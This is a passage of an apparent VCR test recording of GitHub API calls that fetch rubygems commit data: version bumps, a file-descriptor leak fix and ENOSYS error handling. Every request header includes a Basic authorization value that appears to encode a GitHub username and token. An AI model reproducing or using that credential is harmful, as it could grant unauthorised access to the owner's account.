/api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"eaf298602f914ae9844ac10330fc1b6c8a5ef0bd","url":"https://api.github.com/repos/rubygems/rubygems/commits/eaf298602f914ae9844ac10330fc1b6c8a5ef0bd","html_url":"https://github.com/rubygems/rubygems/commit/eaf298602f914ae9844ac10330fc1b6c8a5ef0bd"}],"stats":{"total":2,"additions":1,"deletions":1},"files":[{"sha":"bf42395f25f3a756616bd8ce8c6aa89b5e344956","filename":"lib/rubygems.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/ff986d4950ab3ae2748c2627d780438c72954616/lib/rubygems.rb","raw_url":"https://github.com/rubygems/rubygems/raw/ff986d4950ab3ae2748c2627d780438c72954616/lib/rubygems.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems.rb?ref=ff986d4950ab3ae2748c2627d780438c72954616","patch":"@@ -10,7 +10,7 @@\n require ''thread''\n \n module Gem\n- VERSION = \"2.8.0.pre1\"\n+ VERSION = \"2.7.3\"\n end\n \n # Must be first since it unloads the prelude from 1.9.2"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:39 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/b1c4eb733bb64f38b7acb774082c81cf21e99a0b body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:39 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4591' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"7ba36d7d5e2975d160344aaa656c7a9c" Last-Modified: - Mon, 25 Dec 2017 06:35:09 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.061030' X-Github-Request-Id: - C45C:4D96:9713DB:13A3259:5A50E45B body: encoding: ASCII-8BIT string: '{"sha":"b1c4eb733bb64f38b7acb774082c81cf21e99a0b","commit":{"author":{"name":"Nobuyoshi Nakada","email":"nobu@ruby-lang.org","date":"2017-12-25T06:35:09Z"},"committer":{"name":"Nobuyoshi Nakada","email":"nobu@ruby-lang.org","date":"2017-12-25T06:35:09Z"},"message":"Fixed leaked FDs","tree":{"sha":"1eb94442aa1add0164e791216e56d22c30fff89b","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/1eb94442aa1add0164e791216e56d22c30fff89b"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/b1c4eb733bb64f38b7acb774082c81cf21e99a0b","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niHUEABEIAB0WIQR36/GEZte5uR3HD9NLx9bfWNjfYAUCWkCcHQAKCRBLx9bfWNjf\nYBfRAQCLO3X/IfeJCv4zTVL+4wM09oF6eE90jWoSZt51oTtVJQD+KB3ClRcYp3CN\nVhY23b15zwnmkgN8R4KtC4LFfy8ArIA=\n=ivZ4\n-----END PGP SIGNATURE-----","payload":"tree 1eb94442aa1add0164e791216e56d22c30fff89b\nparent eaf298602f914ae9844ac10330fc1b6c8a5ef0bd\nauthor Nobuyoshi Nakada 1514183709 +0900\ncommitter Nobuyoshi Nakada 1514183709 +0900\n\nFixed leaked FDs\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/b1c4eb733bb64f38b7acb774082c81cf21e99a0b","html_url":"https://github.com/rubygems/rubygems/commit/b1c4eb733bb64f38b7acb774082c81cf21e99a0b","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/b1c4eb733bb64f38b7acb774082c81cf21e99a0b/comments","author":{"login":"nobu","id":16700,"avatar_url":"https://avatars0.githubusercontent.com/u/16700?v=4","gravatar_id":"","url":"https://api.github.com/users/nobu","html_url":"https://github.com/nobu","followers_url":"https://api.github.com/users/nobu/followers","following_url":"https://api.github.com/users/nobu/following{/other_user}","gists_url":"https://api.github.com/users/nobu/gists{/gist_id}","starred_url":"https://api.github.com/users/nobu/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nobu/subscriptions","organizations_url":"https://api.github.com/users/nobu/orgs","repos_url":"https://api.github.com/users/nobu/repos","events_url":"https://api.github.com/users/nobu/events{/privacy}","received_events_url":"https://api.github.com/users/nobu/received_events","type":"User","site_admin":false},"committer":{"login":"nobu","id":16700,"avatar_url":"https://avatars0.githubusercontent.com/u/16700?v=4","gravatar_id":"","url":"https://api.github.com/users/nobu","html_url":"https://github.com/nobu","followers_url":"https://api.github.com/users/nobu/followers","following_url":"https://api.github.com/users/nobu/following{/other_user}","gists_url":"https://api.github.com/users/nobu/gists{/gist_id}","starred_url":"https://api.github.com/users/nobu/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nobu/subscriptions","organizations_url":"https://api.github.com/users/nobu/orgs","repos_url":"https://api.github.com/users/nobu/repos","events_url":"https://api.github.com/users/nobu/events{/privacy}","received_events_url":"https://api.github.com/users/nobu/received_events","type":"User","site_admin":false},"parents":[{"sha":"eaf298602f914ae9844ac10330fc1b6c8a5ef0bd","url":"https://api.github.com/repos/rubygems/rubygems/commits/eaf298602f914ae9844ac10330fc1b6c8a5ef0bd","html_url":"https://github.com/rubygems/rubygems/commit/eaf298602f914ae9844ac10330fc1b6c8a5ef0bd"}],"stats":{"total":10,"additions":9,"deletions":1},"files":[{"sha":"71199c59b4fc44f5815c6f493a0a7c23cc617a79","filename":"lib/rubygems/command.rb","status":"modified","additions":9,"deletions":1,"changes":10,"blob_url":"https://github.com/rubygems/rubygems/blob/b1c4eb733bb64f38b7acb774082c81cf21e99a0b/lib/rubygems/command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/b1c4eb733bb64f38b7acb774082c81cf21e99a0b/lib/rubygems/command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/command.rb?ref=b1c4eb733bb64f38b7acb774082c81cf21e99a0b","patch":"@@ -308,7 +308,10 @@ def invoke_with_build_args(args, build_args)\n \n options[:build_args] = build_args\n \n- self.ui = Gem::SilentUI.new if options[:silent]\n+ if options[:silent]\n+ old_ui = self.ui\n+ self.ui = ui = Gem::SilentUI.new\n+ end\n \n if options[:help] then\n show_help\n@@ -317,6 +320,11 @@ def invoke_with_build_args(args, build_args)\n else\n execute\n end\n+ ensure\n+ if ui\n+ self.ui = old_ui\n+ ui.close\n+ end\n end\n \n ##"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:39 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/21face18669e87790340a0acd95513bc0669f405 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:39 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4590' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"952e7a289a9c3aea95118fc709767680" Last-Modified: - Mon, 25 Dec 2017 06:19:04 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.049358' X-Github-Request-Id: - A18E:4D95:F479B3:1C82EA2:5A50E45B body: encoding: ASCII-8BIT string: '{"sha":"21face18669e87790340a0acd95513bc0669f405","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-12-25T06:19:04Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-12-25T06:19:04Z"},"message":"Set to next release version","tree":{"sha":"fdd884007ca2140031a90101dd3defdc706c1bf4","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/fdd884007ca2140031a90101dd3defdc706c1bf4"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/21face18669e87790340a0acd95513bc0669f405","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAlpAmFgACgkQ+c8TQXJk\n+sKA7Af/Y0Ckee+ZgaXwxzma1b9kbmImbDISEvseWy7Z/BZwFqlIQrEEntQDRh8M\nwT5YZWAU4ECGbpLLaZ3PiyLAJtzBxYTRr0nSQ1Wq5N7lqBYFxnEnmjLBkAMFTtyG\nKJKGh6oTQwdCw5Gh3vrMozQoX4EFNGjjwIoF+bJ5w9t0kM6mimXdee2KWNssZz1t\nlnmpvsFkG5dQ/o9JIUzPvd+QXBjoVn7rItO/XX7LokoWnurqAlEY/jT3JcRWcIPi\nuEGqYjznqvokoCOyZAvJxLzlzAlQIEDBK+7axF3jSLa43H1Uq/2rPyhl8BKfk6pq\n4w2OEN7mAzR7WDeSL1nQKYTypSyEvw==\n=7dOg\n-----END PGP SIGNATURE-----","payload":"tree fdd884007ca2140031a90101dd3defdc706c1bf4\nparent 59cfe36c6f38f00c64b1a43218df8738525813a8\nauthor SHIBATA Hiroshi 1514182744 +0900\ncommitter SHIBATA Hiroshi 1514182744 +0900\n\nSet to next release version\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/21face18669e87790340a0acd95513bc0669f405","html_url":"https://github.com/rubygems/rubygems/commit/21face18669e87790340a0acd95513bc0669f405","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/21face18669e87790340a0acd95513bc0669f405/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"59cfe36c6f38f00c64b1a43218df8738525813a8","url":"https://api.github.com/repos/rubygems/rubygems/commits/59cfe36c6f38f00c64b1a43218df8738525813a8","html_url":"https://github.com/rubygems/rubygems/commit/59cfe36c6f38f00c64b1a43218df8738525813a8"}],"stats":{"total":2,"additions":1,"deletions":1},"files":[{"sha":"0915be37ea30492b4963ee2f032fbec6a7e95b27","filename":"lib/rubygems.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/21face18669e87790340a0acd95513bc0669f405/lib/rubygems.rb","raw_url":"https://github.com/rubygems/rubygems/raw/21face18669e87790340a0acd95513bc0669f405/lib/rubygems.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems.rb?ref=21face18669e87790340a0acd95513bc0669f405","patch":"@@ -10,7 +10,7 @@\n require ''thread''\n \n module Gem\n- VERSION = \"2.7.3\"\n+ VERSION = \"2.7.4.pre1\"\n end\n \n # Must be first since it unloads the prelude from 1.9.2"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:39 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/eaf298602f914ae9844ac10330fc1b6c8a5ef0bd body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:40 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4589' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"911f1ec1da90a03d02cf418aa6616e3c" Last-Modified: - Mon, 25 Dec 2017 06:18:44 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.058357' X-Github-Request-Id: - A190:4D95:F479BB:1C82EB6:5A50E45C body: encoding: ASCII-8BIT string: '{"sha":"eaf298602f914ae9844ac10330fc1b6c8a5ef0bd","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-12-25T06:18:44Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-12-25T06:18:44Z"},"message":"Set to next release version","tree":{"sha":"75f3d6cff851fa3cc2c7b59a23f31f7be7e9871a","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/75f3d6cff851fa3cc2c7b59a23f31f7be7e9871a"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/eaf298602f914ae9844ac10330fc1b6c8a5ef0bd","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAlpAmEQACgkQ+c8TQXJk\n+sIbKggA3joKEhkjqXzEbQSJSJygaImGM3GNdIbksyTxpvA3jmg07D6qAYbC+9Oj\nL/eywE11RHZCcTlNGAgSQrZ3Ovw4l72qrYB/XhkdOAOTTD6AOFB9tQ1oLvDBPiy9\nLaT/q1fntJfdoTCtrsz6EPIFF525rQazpu1YA0VyxNxoWNBXZ5iXTSdDmVgqN8sX\niUAhA1/GeFEY3SBNO2Vsj9KfCRfvayKEmayiWoYe/3Pzi1aY4+nfLEK3HgkmX1ZB\nQ8rOlaNAoD41B4oHohkYg+D5x61dXPXvtzfGQhL/qVs7ZMwBIsthj4NUVWyNFm4d\n67wkQDkAlVBZs+kKbmapcogITnSVEw==\n=89ts\n-----END PGP SIGNATURE-----","payload":"tree 75f3d6cff851fa3cc2c7b59a23f31f7be7e9871a\nparent 08e6d9b5967432f6afb6c1bd00825545e3287fe8\nauthor SHIBATA Hiroshi 1514182724 +0900\ncommitter SHIBATA Hiroshi 1514182724 +0900\n\nSet to next release version\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/eaf298602f914ae9844ac10330fc1b6c8a5ef0bd","html_url":"https://github.com/rubygems/rubygems/commit/eaf298602f914ae9844ac10330fc1b6c8a5ef0bd","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/eaf298602f914ae9844ac10330fc1b6c8a5ef0bd/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"08e6d9b5967432f6afb6c1bd00825545e3287fe8","url":"https://api.github.com/repos/rubygems/rubygems/commits/08e6d9b5967432f6afb6c1bd00825545e3287fe8","html_url":"https://github.com/rubygems/rubygems/commit/08e6d9b5967432f6afb6c1bd00825545e3287fe8"}],"stats":{"total":2,"additions":1,"deletions":1},"files":[{"sha":"457b08b97808210d8eac57ba38690c0e007afa72","filename":"lib/rubygems.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/eaf298602f914ae9844ac10330fc1b6c8a5ef0bd/lib/rubygems.rb","raw_url":"https://github.com/rubygems/rubygems/raw/eaf298602f914ae9844ac10330fc1b6c8a5ef0bd/lib/rubygems.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems.rb?ref=eaf298602f914ae9844ac10330fc1b6c8a5ef0bd","patch":"@@ -10,7 +10,7 @@\n require ''thread''\n \n module Gem\n- VERSION = \"2.7.3\"\n+ VERSION = \"2.8.0.pre1\"\n end\n \n # Must be first since it unloads the prelude from 1.9.2"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:40 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/59cfe36c6f38f00c64b1a43218df8738525813a8 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:40 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4588' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"060c3a46828494579afc5c713e6d627e" Last-Modified: - Mon, 25 Dec 2017 06:14:32 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.053503' X-Github-Request-Id: - C466:4D95:F479CE:1C82ED4:5A50E45C body: encoding: ASCII-8BIT string: '{"sha":"59cfe36c6f38f00c64b1a43218df8738525813a8","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-12-01T01:29:57Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-12-25T06:14:32Z"},"message":"Auto merge of #2107 - hsbt:handle-non-flock-env, r=hsbt\n\nHandle environment that does not have `flock` system call.\n\nFix #2092","tree":{"sha":"f7fa3226bd94290d643b0191a9698317d87cb452","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/f7fa3226bd94290d643b0191a9698317d87cb452"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/59cfe36c6f38f00c64b1a43218df8738525813a8","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/59cfe36c6f38f00c64b1a43218df8738525813a8","html_url":"https://github.com/rubygems/rubygems/commit/59cfe36c6f38f00c64b1a43218df8738525813a8","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/59cfe36c6f38f00c64b1a43218df8738525813a8/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"a6750b6a2c624e3d0c549d18beea9255fcc01b62","url":"https://api.github.com/repos/rubygems/rubygems/commits/a6750b6a2c624e3d0c549d18beea9255fcc01b62","html_url":"https://github.com/rubygems/rubygems/commit/a6750b6a2c624e3d0c549d18beea9255fcc01b62"}],"stats":{"total":4,"additions":2,"deletions":2},"files":[{"sha":"bf42395f25f3a756616bd8ce8c6aa89b5e344956","filename":"lib/rubygems.rb","status":"modified","additions":2,"deletions":2,"changes":4,"blob_url":"https://github.com/rubygems/rubygems/blob/59cfe36c6f38f00c64b1a43218df8738525813a8/lib/rubygems.rb","raw_url":"https://github.com/rubygems/rubygems/raw/59cfe36c6f38f00c64b1a43218df8738525813a8/lib/rubygems.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems.rb?ref=59cfe36c6f38f00c64b1a43218df8738525813a8","patch":"@@ -161,7 +161,7 @@ module Gem\n # these are defined in Ruby 1.8.7, hence the need for this convoluted setup.\n \n READ_BINARY_ERRORS = begin\n- read_binary_errors = [Errno::EACCES, Errno::EROFS]\n+ read_binary_errors = [Errno::EACCES, Errno::EROFS, Errno::ENOSYS]\n read_binary_errors << Errno::ENOTSUP if Errno.const_defined?(:ENOTSUP)\n read_binary_errors\n end.freeze\n@@ -171,7 +171,7 @@ module Gem\n # these are defined in Ruby 1.8.7.\n \n WRITE_BINARY_ERRORS = begin\n- write_binary_errors = []\n+ write_binary_errors = [Errno::ENOSYS]\n write_binary_errors << Errno::ENOTSUP if Errno.const_defined?(:ENOTSUP)\n write_binary_errors\n end.freeze"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:40 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/a6750b6a2c624e3d0c549d18beea9255fcc01b62 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:40 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4587' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"c1ffc2320f546fc618b25e5a5b8608a8" Last-Modified: - Mon, 25 Dec 2017 06:11:22 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.046444' X-Github-Request-Id: - C468:4D95:F479DF:1C82EEF:5A50E45C body: encoding: ASCII-8BIT string: '{"sha":"a6750b6a2c624e3d0c549d18beea9255fcc01b62","commit":{"author":{"name":"nobu","email":"nobu@b2dd03c8-39d4-4d8f-98ff-823fe69b080e","date":"2017-12-25T05:54:27Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-12-25T06:11:22Z"},"message":"fix leaked fds\n\n* lib/rubygems/command.rb (Gem::Command#invoke_with_build_args):\n restore UI and close the created SilentUI.\n\ngit-svn-id: svn+ssh://ci.ruby-lang.org/ruby/trunk@61465 